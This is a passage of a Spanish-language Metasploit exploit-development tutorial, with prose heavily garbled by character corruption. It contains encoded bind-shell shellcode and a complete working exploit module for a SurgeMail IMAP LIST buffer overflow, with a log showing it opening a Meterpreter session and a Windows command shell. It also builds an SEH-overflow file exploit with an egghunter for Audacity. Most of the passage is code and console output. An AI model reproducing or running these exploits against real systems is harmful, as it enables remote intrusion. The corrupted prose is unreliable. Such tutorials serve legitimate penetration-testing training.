trav!s de msfencode. /or e%emplo, para enerar una mezcla mayDsculas y minDsculas alfanum!ricos
shellcode codificada, podemos utilizar el siuiente comando=
root@bt:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R |
./msfencode -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 659 (iteration=1)
unsigned char buf[] =
"\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4d\x38\x4c\x49\x45\x50\x45\x50\x45\x50\x43\x50\x4d\x59"
"\x4d\x35\x50\x31\x49\x42\x42\x44\x4c\x4b\x50\x52\x50\x30\x4c"
"\x4b\x51\x42\x44\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x44\x32"
"\x51\x38\x44\x4f\x4e\x57\x50\x4a\x47\x56\x46\x51\x4b\x4f\x50"
"\x31\x49\x50\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x45\x52\x46\x4c"
"\x47\x50\x49\x51\x48\x4f\x44\x4d\x43\x31\x48\x47\x4b\x52\x4a"
"\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x42\x30\x4c\x4b\x47\x32"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x44\x38\x4d\x55\x49"
"\x50\x44\x34\x50\x4a\x45\x51\x48\x50\x50\x50\x4c\x4b\x50\x48"
"\x44\x58\x4c\x4b\x51\x48\x51\x30\x43\x31\x4e\x33\x4b\x53\x47"
"\x4c\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x49\x51\x48\x4f\x44\x4d\x45"
"\x51\x49\x57\x50\x38\x4d\x30\x42\x55\x4c\x34\x45\x53\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x51\x48\x4c"
"\x4b\x51\x48\x47\x54\x45\x51\x49\x43\x42\x46\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x43\x31\x48\x53\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x48\x50\x4c\x49\x50\x44\x51\x34\x51\x34"
"\x51\x4b\x51\x4b\x45\x31\x46\x39\x51\x4a\x50\x51\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4b\x36"
"\x51\x4d\x43\x58\x50\x33\x50\x32\x43\x30\x43\x30\x42\x48\x43"
"\x47\x43\x43\x50\x32\x51\x4f\x50\x54\x43\x58\x50\x4c\x43\x47"
"\x51\x36\x43\x37\x4b\x4f\x4e\x35\x4e\x58\x4a\x30\x43\x31\x45"
"\x50\x45\x50\x51\x39\x49\x54\x50\x54\x46\x30\x43\x58\x46\x49"
"\x4b\x30\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x50"
"\x50\x46\x30\x51\x50\x46\x30\x51\x50\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4d\x30\x4b\x4f\x48\x55\x4d\x47\x50\x31\x49"
"\x4b\x51\x43\x45\x38\x43\x32\x45\x50\x44\x51\x51\x4c\x4d\x59"
"\x4d\x36\x42\x4a\x44\x50\x50\x56\x51\x47\x42\x48\x48\x42\x49"
"\x4b\x46\x57\x43\x57\x4b\x4f\x48\x55\x51\x43\x50\x57\x45\x38"
"\x48\x37\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46"
"\x33\x50\x57\x45\x38\x43\x44\x4a\x4c\x47\x4b\x4b\x51\x4b\x4f"
"\x49\x45\x51\x47\x4c\x57\x43\x58\x44\x35\x42\x4e\x50\x4d\x43"
"\x51\x4b\x4f\x4e\x35\x42\x4a\x43\x30\x42\x4a\x45\x54\x50\x56"
"\x51\x47\x43\x58\x45\x52\x48\x59\x49\x58\x51\x4f\x4b\x4f\x4e"
"\x35\x4c\x4b\x47\x46\x42\x4a\x51\x50\x43\x58\x45\x50\x42\x30"
"\x43\x30\x45\x50\x46\x36\x43\x5a\x45\x50\x45\x38\x46\x38\x49"
"\x34\x46\x33\x4a\x45\x4b\x4f\x49\x45\x4d\x43\x46\x33\x42\x4a"
"\x45\x50\x50\x56\x50\x53\x50\x57\x45\x38\x44\x42\x49\x49\x49"
"\x58\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x47\x59\x49\x56"
"\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x49\x53\x44\x4a\x41\x41";
Si nos fi%amos ms en el shellcode enerado, vers que hay alunos caracteres alfanum!ricos no sin
embaro=
>>> print shellcode
???t$?
^VYIIIIIIIIICCCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMKXKIKOKOKOE0LKBLQ4Q4LK
QUGLLKCLC5CHEQJOLKPOB8LKQOGPC1
JKPILKGDLKC1JNP1IPLYNLK4IPD4EWIQHJDMC1IRJKKDGKPTQ4GXCEKULKQOFDC1JKE6LKDLPKLKQOELEQJ
KDCFLLKMYBLFDELE1HCP1IKE4LKG3P0LKG0D
LLKBPELNMLKG0C8QNBHLNPNDNJLF0KOHVBFPSCVE8P3GBBHD7BSGBQOF4KOHPE8HKJMKLGKPPKON6QOK9M5
CVMQJMEXC2QEBJERKOHPCXIIEYKENMQGKON6
QCQCF3PSF3G3PSPCQCKOHPBFCXB1QLE6QCMYM1J5BHNDDZD0IWF7KOIFCZDPPQQEKON0E8NDNMFNJIPWKOH
VQCF5KON0BHJEG9LFQYF7KOIFF0PTF4QEKOH
PJ3E8JGCIHFBYF7KON6PUKOHPBFCZE4E6E8BCBMK9M5BJF0PYQ9HLMYKWBJG4MYM2FQIPL3NJKNQRFMKNPB
FLJ3LMCJGHNKNKNKBHCBKNNSDVKOCEQTKOHV
QKQGPRF1PQF1CZEQPQPQPUF1KOHPE8NMN9DEHNF3KOIFCZKOKOFWKOHPLKQGKLLCITE4KOHVF2KOHPCXJPM
ZDDQOF3KOHVKOHPDJAA
Esto se debe a los cdios de operacin KC[ NXU [ xeJ [ xdb [ xdb [ xdU [ xFJCM al principio de la
payload que se necesitan con el fin de encontrar la ubicacin de los payloads absolutos en la memoria y
obtener una posicin totalmente independiente de cdio shell=
5na vez que nuestra direccin shellcode se obtiene a trav!s de las dos primeras instrucciones, se inserta
en la pila y se almacena en el reistro E$N que lueo se utilizar para el clculo de las compensaciones
relativas.
Sin embaro, si somos capaces de aluna manera para obtener la posicin absoluta de la shellcode por
nuestra cuenta y uardar esa direccin en un reistro antes de e%ecutar el cdio shell, podemos utilizar
la opcin especial ;uffer6eister T 6E.EJ mientras que codifica nuestro payload=
root@bt:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R |
./msfencode BufferRegister=ECX -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 651 (iteration=1)
unsigned char buf[] =
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50"
"\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x43\x30\x43"
"\x30\x45\x50\x45\x30\x4c\x49\x4b\x55\x50\x31\x48\x52\x43\x54"
"\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x50"
"\x52\x45\x44\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50\x4a"
"\x46\x46\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43"
"\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x49\x51\x48\x4f\x44\x4d"
"\x43\x31\x49\x57\x4b\x52\x4a\x50\x51\x42\x51\x47\x4c\x4b\x51"
"\x42\x42\x30\x4c\x4b\x50\x42\x47\x4c\x43\x31\x48\x50\x4c\x4b"
"\x51\x50\x42\x58\x4b\x35\x49\x50\x43\x44\x50\x4a\x43\x31\x48"
"\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x50\x58\x47\x50"
"\x43\x31\x49\x43\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34\x4c"
"\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c"
"\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x47\x48\x4b\x50\x43"
"\x45\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46\x44"
"\x42\x55\x4a\x42\x46\x38\x4c\x4b\x50\x58\x47\x54\x45\x51\x49"
"\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c"
"\x45\x51\x4e\x33\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4b"
"\x39\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x51\x49"
"\x51\x4a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c"
"\x4b\x45\x42\x4a\x4b\x4b\x36\x51\x4d\x45\x38\x47\x43\x47\x42"
"\x45\x50\x43\x30\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f\x50"
"\x54\x43\x58\x50\x4c\x44\x37\x46\x46\x45\x57\x4b\x4f\x4e\x35"
"\x48\x38\x4c\x50\x43\x31\x45\x50\x45\x50\x51\x39\x48\x44\x50"
"\x54\x46\x30\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f"
"\x49\x45\x50\x50\x50\x50\x50\x50\x46\x30\x51\x50\x50\x50\x47"
"\x30\x46\x30\x43\x58\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"
"\x4e\x35\x4a\x37\x50\x31\x49\x4b\x50\x53\x45\x38\x43\x32\x43"
"\x30\x44\x51\x51\x4c\x4d\x59\x4b\x56\x42\x4a\x42\x30\x51\x46"
"\x50\x57\x43\x58\x48\x42\x49\x4b\x50\x37\x43\x57\x4b\x4f\x49"
"\x45\x50\x53\x50\x57\x45\x38\x4e\x57\x4d\x39\x47\x48\x4b\x4f"
"\x4b\x4f\x48\x55\x51\x43\x46\x33\x46\x37\x45\x38\x42\x54\x4a"
"\x4c\x47\x4b\x4b\x51\x4b\x4f\x4e\x35\x50\x57\x4c\x57\x42\x48"
"\x42\x55\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49\x45\x42\x4a\x43"
"\x30\x42\x4a\x45\x54\x50\x56\x50\x57\x43\x58\x44\x42\x4e\x39"
"\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x4c\x4b\x46\x56\x42\x4a\x47"
"\x30\x42\x48\x45\x50\x44\x50\x43\x30\x43\x30\x50\x56\x43\x5a"
"\x43\x30\x43\x58\x46\x38\x4e\x44\x50\x53\x4d\x35\x4b\x4f\x48"
"\x55\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x51\x47"
"\x42\x48\x43\x32\x4e\x39\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x43"
"\x31\x48\x43\x51\x39\x49\x56\x4c\x45\x4a\x56\x43\x45\x4a\x4c"
"\x49\x53\x45\x5a\x41\x41";
Esta vez hemos obtenido una shellcode alfanum!ricos puro=
>>> print shellcode
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLBJJKPMM8KIKOKOKOE0LKBLFDFDLKPE
GLLKCLC5D8C1JOLKPOEHLKQOGPEQJKPILKGD
LKEQJNFQIPMINLLDIPCDC7IQHJDMC1HBJKJTGKF4GTFHBUJELKQOGTC1JKCVLKDLPKLKQOELEQJKESFLLKL
IBLFDELE1HCP1IKE4LKG3FPLKG0DLLKBPELN
MLKG0DHQNE8LNPNDNJLPPKOHVE6QCE6CXP3FRE8CGCCP2QOPTKON0CXHKJMKLGKF0KOHVQOMYM5E6K1JMEX
C2PUBJDBKON0CXN9C9KENMPWKON6QCF3F3F3
PSG3PSPCQCKOHPBFE8DQQLBFPSMYKQMECXNDDZBPIWQGKOHVBJB0PQPUKOHPBHNDNMFNKYPWKON6QCF5KOH
PCXKUG9K6QYQGKOHVF0QDF4QEKON0MCCXKWD
9HFBYQGKOIFQEKON0BFCZBDE6CXCSBMMYJECZF0F9FIHLK9KWCZQTK9JBFQIPKCNJKNQRFMKNG2FLMCLMBZ
FXNKNKNKCXCBKNNSB6KOD5QTKON6QKF7QBF1
PQF1BJC1F1F1PUPQKON0CXNMIIDEHNQCKOHVBJKOKOGGKOHPLKF7KLLCITBDKON6QBKOHPE8L0MZETQOQCK
OHVKOHPEZAA
n este caso, nos di-eron .ue msfencode .ue nos ocupamos de encontrar la direccin absoluta
shellcodes y lo !uarda en el re!istro "/*
"omo se puede ver en la ima!en anterior, "/ se ha establecido previamente con el fin de sealar
el comienzo de nuestra shellcode. n este punto, nuestro capacidad de car!a se inicia directamente
la realineacin "/ para comenzar la secuencia shellcode decodificacin.
Makin! Somethin! Po <oom
'nteriormente vimos fuzzin un servidor 4&'/ en la seccin simple #uzzer 4&'/. 'l final de ese
esfuerzo nos dimos cuenta de que podra sobrescribir E4/, por lo que el Dnico reistro ES/ apunta a
una ubicacin de memoria ba%o nuestro control KI bytes despu!s de nuestra direccin de retornoM.
/odemos seuir adelante y reconstruir nuestra memoria intermedia Kfuzz T C'C R OGGI V C;C R I V C$C
R IM para confirmar que el flu%o de e%ecucin es redirectable a trav!s de una direccin de +&/ ES/
como un ret.
msf auxiliary(fuzz_imap) > run
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1012
[*] 0002 LIST () /"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]BBBBCCCC" "PWNED"
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] It seems that host is not responding anymore and this is G00D ;)
[*] Auxiliary module execution completed
msf au0iliary!fuzzJimap% 4
#ontrolar el flu?o de e?ecucin
'hora tenemos que determinar el desplazamiento correcto con el fin de obtener la e%ecucin de cdio.
'fortunadamente, &etasploit viene al rescate con dos servicios muy Dtiles= pattern@create.rb y
pattern@offset.rb. 'mbos scripts se encuentran en el directorio &etasploit CherramientasC. &ediante la
e%ecucin de pattern@create.rb, el uin va a enerar una cadena compuesta de patrones Dnicos que
podemos utilizar para reemplazar nuestra secuencia de -'-.
root@bt:~# /pentest/exploits/framework3/tools/pattern_create.rb 11000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5...
)espu!s de haber E4/ !xito sobrescribir o SE" Ko lo que sea reistrar que se est buscandoM, debemos
tomar nota del valor que fiura en el reistro y se alimentan de este valor a pattern@offset.rb para
determinar en qu! punto de la cadena aleatoria el valor aparece.
En luar de llamar a la lnea de comandos pattern@create.rb, vamos a llamar a la '/4 subyacente
directamente desde nuestro fuzzer utilizando el 6ex== Text.pattern@create KM. Si nos fi%amos en la fuente,
podemos ver cmo esta funcin se llama.
def self.pattern_create(length, sets = [ UpperAlpha, LowerAlpha, Numerals ])
buf = ''
idx = 0
offsets = []
sets.length.times { offsets << 0 }
until buf.length >= length
begin
buf << converge_sets(sets, 0, offsets, length)
rescue RuntimeError
break
end
end
# Maximum permutations reached, but we need more data
if (buf.length < length)
buf = buf * (length / buf.length.to_f).ceil
end
buf[0,length]
end
's que vemos que nos llama a la funcin pattern@create que tendr a lo sumo dos parmetros, el
tama0o del buffer que estamos tratando de crear y una seunda opcional paramater nos da un cierto
control de los contenidos de la memoria intermedia. 's que para nuestras necesidades, vamos a llamar
a la funcin y reemplazar la variable con fuzz fuzz T 6ex== Text.pattern@create KOOGGGM.
Esto hace que nuestro SE" a ser sobrescritos por GxPXIEEEPX y con base en el valor devuelto por
pattern@offset.rb, podemos determinar que los bytes que sobrescribir nuestro mane%ador de excepciones
son las siuientes cuatro bytes OGEPO, OGEPJ, OGEPE, OGEPI.
rootKbt:L6 /pentest/e0ploits/frameworM3/tools/patternJoffset.rb
FG<33FG CC000 C03F0
$omo sucede a menudo en ataques de desbordamiento de SE", ahora tenemos que encontrar un /,/
/,/ 6ET Kotras secuencias son buenas, as como se explica en C7a derrota de la pila de
desbordamiento de bDfer basado en mecanismo de prevencin de &icrosoft (indo2s JGGE ServerC
7itchfield JGGEM la direccin con el fin de rediriir el flu%o de e%ecucin de nuestro buffer. Sin embaro,
la bDsqueda de una direccin de retorno adecuada en suremail.exe, obviamente, nos lleva al problema
encontrado anteriormente, todas las direcciones tienen un byte nulo.
root@bt:~# /pentest/exploits/framework3/msfpescan -p surgemail.exe
[surgemail.exe]
0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x00537506 pop esi; pop ebp; ret
0x005ec087 pop ebx; pop ebp; ret
0x00780b25 pop ebp; pop ebx; ret
0x00780c1e pop ebp; pop ebx; ret
0x00784fb8 pop ebx; pop ebp; ret
0x0078506e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret
0x0078517e pop esi; pop ebx; ret
'fortunadamente esta vez tenemos un enfoque ms ataques para tratar de la forma de un parcial de
sobrescribir, rebosante de SE" con slo el E bytes ms sinificativos de la direccin de retorno. 7a
diferencia es que esta vez podemos poner nuestra shellcode en la primera parte de la memoria
intermedia despu!s de un esquema como el siuiente=
| NOPSLED | SHELLCODE | NEARJMP | SHORTJMP | RET (3 Bytes) |
(0( (0( R' nos rediri!ir1 2 bytes antes de R', donde pondremos un 3M( corto .ue nos lleva
de vuelta 4 bytes. 5 continuacin, tendr1 un 3M( espalda cerca .ue nos llevar1 en el centro de la
60($78.
sto no era posible hacer con un parcial de sobrescribir 9( y $(, ya .ue debido a la pila de
acuerdo $( fue de cuatro bytes despu)s de nuestra R'. $i hemos hecho un parcial de sobrescribir
9(, $( estar#a en una zona sin control.
Pettin! A Shell
#onse!uir una Shell
$on lo que hemos aprendido, podemos escribir el exploit y urdelo en las ventanas > 4&'/ >
suremail@list.rb.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.milw0rm.com/exploits/5259' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 10351,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => true,
'BadChars' => "\x00"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r
0x0078517e
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connected = connect_login
nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with
make_nops()
sjump = "\xEB\xF9\x90\x90" # Jmp Back
njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)
evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end
end
/as cosas m*s importantes a notar en el cdi!o anterior son los si!uientes=
< %e de'ine el espacio m?ximo para la shellcode C(spacio VM 3OHP3D y establecer la 'uncin
)isable1ops para desactivar el relleno autom?tico de cdigo shell@ vamos a rellenar la carga por
nuestra cuenta;
< ,reamos el codi'icador por de'ecto a la AlphanumMixed debido a la naturale.a del protocolo
0MAP;
< !emos de'inido nuestro direccin POP H bytes POP R(4 retorno ue se hace re'erencia a
continuacin a trav7s de la variable target;ret;
< %e de'ine una 'uncin de veri'icacin ue puede comprobar el banner del servidor 0MAP con el
'in de identi'icar a un servidor vulnerable y una 'uncin de explotacin ue@ obviamente@ es el ue
hace la mayor parte de la obra;
:amos a ver si funciona=
msf > search surgemail
[*] Searching loaded modules for pattern 'surgemail'...
Exploits
========
Name Description
---- -----------
windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow
msf > use windows/imap/surgemail_list
msf exploit(surgemail_list) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
IMAPPASS test no The password for the specified username
IMAPUSER test no The username to authenticate as
RHOST 172.16.30.7 yes The target address
RPORT 143 yes The target port
Payload options (windows/shell/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 172.16.30.7 no The target address
Exploit target:
Id Name
-- ----
0 Windows Universal
'lunas de las opciones ya estn confiurados de la sesin anterior Kv!ase 4&'//'SS, 4&'/5SE6 y
rhost por e%emploM. 'hora comprobamos la versin del servidor=
msf exploit(surgemail_list) > check
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[+] The target is vulnerable.
US3V Ahora vamos a e?ecutar el e.ploit asociar el depurador al proceso sur!email4e.e para ver si el
despla-amiento de soreescriir S," es correcta=
root@bt:~# msfcli exploit/windows/imap/surgemail_list
PAYLOAD=windows/shell/bind_tcp RHOST=172.16.30.7 IMAPPWD=test IMAPUSER=test E
[*] Started bind handler
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
5N? ,endin* payload
El desplazamiento es correcto, podemos establecer un punto de ruptura en nuestro direccin de retorno=
'hora, podemos rediriir el flu%o de e%ecucin en nuestro buffer de e%ecutar el /,/ instrucciones 6ET
/,/=
y, finalmente, e%ecutar las dos saltos en la pila que nos de la tierra dentro de nuestro trineo 9,/=
"asta aqu todo bien, el tiempo para que nuestro shell &eterpreter, vamos a volver a e%ecutar el exploit
sin el depurador=
msf exploit(surgemail_list) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(surgemail_list) > exploit
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Started bind handler
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Sending payload
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.16.30.34:63937 -> 172.16.30.7:4444)
meterpreter > execute -f cmd.exe -c -i
Process 672 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
c:\surgemail>
:xito; 'enemos fuzz un servidor vulnerable y construy una explotacin personalizada con las
incre#bles caracter#sticas .ue ofrece Metasploit.
1sin! The ,!!hunter Mi.in
,l uso de Mi.in ,!!hunter
El &S# ehunter mixin es un mdulo maravilloso que puede ser de ran utilidad en el desarrollo de
explotar. Si usted no est familiarizado con los conceptos de ehunters, lee esto.
5na reciente vulnerabilidad en el Editor de sonido 'udacity nos present la oportunidad de examinar
este mixin con mayor profundidad. En el siuiente mdulo, vamos a explotar 'udacity y crear un
formato de archivo de mdulo de &etasploit explotar con !l. 9o se centrar en el m!todo de
explotacin en s o la teora detrs de ella ? pero por el buceo en el uso prctico de la mixin Ehunter.
7a creacin de 'udacity
< 8escar!ar e instalar el soft<are vulnerable en su ca-a de /( $(=*
http=>>222.offensive?security.com>archive>audacity?2in?O.J.P.exe http=>>222.offensive?
security.com>archive>7')S/'@pluins?2in?G.I.OL.exe
)escarar y estudiar el /,$ oriinal, tomada de=
http=>>222.exploit?db.com>exploits>FPEI>
2ortar el 2O#
:amos a este puerto /,$ a un mdulo de archivo &S# explotar el formato. /odemos utilizar un
mdulo existente para conseuir una plantilla eneral. El exploit zinfaudioplayerJJO@pls.rb nos
proporciona un buen comienzo.
9uestra exploit s3eleton debe ser similar a este. 'viso de nuestro buffer que se eneran aqu=
def exploit
buff = Rex::Text.pattern_create(2000)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
5samos 6ex== Text.pattern@create KJGGGM para crear una cadena Dnica de JGGG bytes para ser capaz de
rastrear luares de bDfer en el depurador.
5na vez que tenemos el /,$ portado, se enera el archivo de exploit y transferencia a nuestra ca%a de
(indo2s. 5se los payloads en!ricos > debu@trap para empezar....
msf exploit(audacity) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME evil.gro yes The file name.
OUTPUTPATH /var/www yes The location of the file.
Payload options (generic/debug_trap):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Audacity Universal 1.2
msf exploit(audacity) > exploit
[*] Creating 'evil.gro' file ...
[*] Generated output file /var/www/evil.gro
[*] Exploit completed, but no session was created.
msf exploit(audacity) >
Arimos Audacity6 ad?untar un depurador para la importacin y el archivo M&D& !ro4
De inmediato otener una e.cepcin de Audacity6 y se detiene el depurador=
5n rpido vistazo a la cadena de SE" muestra que hemos sobrescrito un controlador de excepciones.
Tomamos la e.cepcin $shift W F7%6 y ver lo si!uiente=
#ompletin! The ,.ploit
#ompletando el ,.ploit
Se trata de un desbordamiento SE" estndar. Se puede notar que alunas de nuestras entradas del
usuario un Cpop, pop, retC le%os de nosotros en la pila. 5na cosa interesante a notar a partir de la imaen
de arriba es el hecho de que le hemos enviado una cara de bytes JGGG ? sin embaro, parece que
cuando volvamos a nuestro buffer, que se trunca. Tenemos alrededor de XG bytes de espacio para
nuestra shellcode Kmarcado en azulM. 5samos la inmunidadZ S'#ESE" funcin para localizar )77 sin
proteccin a partir del cual se puede encontrar una direccin de retorno.
$opiamos el archivo )77 y la bDsqueda de una combinacin de /,/ /,/ instruccin 6ET utilizando
msfpescan.
root@bt:/pentest/exploits/framework3# msfpescan -p libfftw3f-3.dll
[libfftw3f-3.dll]
0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret
0x637f597b pop edi; pop ebp; ret
0x637f5bb6 pop edi; pop ebp; ret
root@bt:/pentest/exploits/framework3#
2o# ,.ploit
$omo hemos utilizado la funcin pattern@create para crear nuestro buffer inicial, podemos calcular la
lenth bDfer necesario para sobrescribir nuestro mane%ador de excepciones.
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 67413966
178
root@bt:/pentest/exploits/framework3/tools#
&odificamos nuestro exploit en consecuencia mediante la introduccin de una direccin de respuesta
vlida.
[ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ],
' continuacin, a%ustar la amortiuacin para rediriir el flu%o de e%ecucin en el momento del
accidente a nuestra direccin de retorno, saltar sobre ella KNE; es un Cpeque0o saltoCM y lueo la tierra
en el buffer de punto de interrupcin KN$$M.
def exploit
buff = "\x41" * 174
buff << "\xeb\x06\x41\x41"
buff << [target.ret].pack('V')
buff << "\xCC" * 2000
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
5na vez ms, enerar nuestro archivo de explotar, unir 'udacity para el depurador e importar el
archivo malicioso. Esta vez, la SE" debe ser sobreescrito con nuestra direccin ? el que nos llevar a
un pop, pop con%unto, la instruccin ret. "emos establecido un punto de interrupcin all, y una vez
ms, tomar la excepcin con shift V #U y caminar a trav!s de nuestra ret pop pop con #X.
El peque0o salto nos lleva a nuestra direccin de retorno, en nuestro Cbuffer shellcodeC.
5na vez ms, tenemos muy poco espacio en el buffer de nuestra inspeccin payload.' rpido de la
memoria revela que la lonitud del bDfer completo se puede encontrar en el montn. Sabiendo esto,
podemos utilizar nuestro espacio inicial de XG bytes para e%ecutar un ehunter, lo que buscan y
encuentran la cara secundaria.
/a aplicacin de la e!!hunter MSF es relativamente f*cil=
def exploit
hunter = generate_egghunter
egg = hunter[1]
buff = "\x41" * 174
buff << "\xeb\x06\x41\x41"
buff << [target.ret].pack('V')
buff << "\x90"*4
buff << hunter[0]
buff << "\xCC" * 200
buff << egg + egg
buff << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
El exploit final se parece a esto=
##
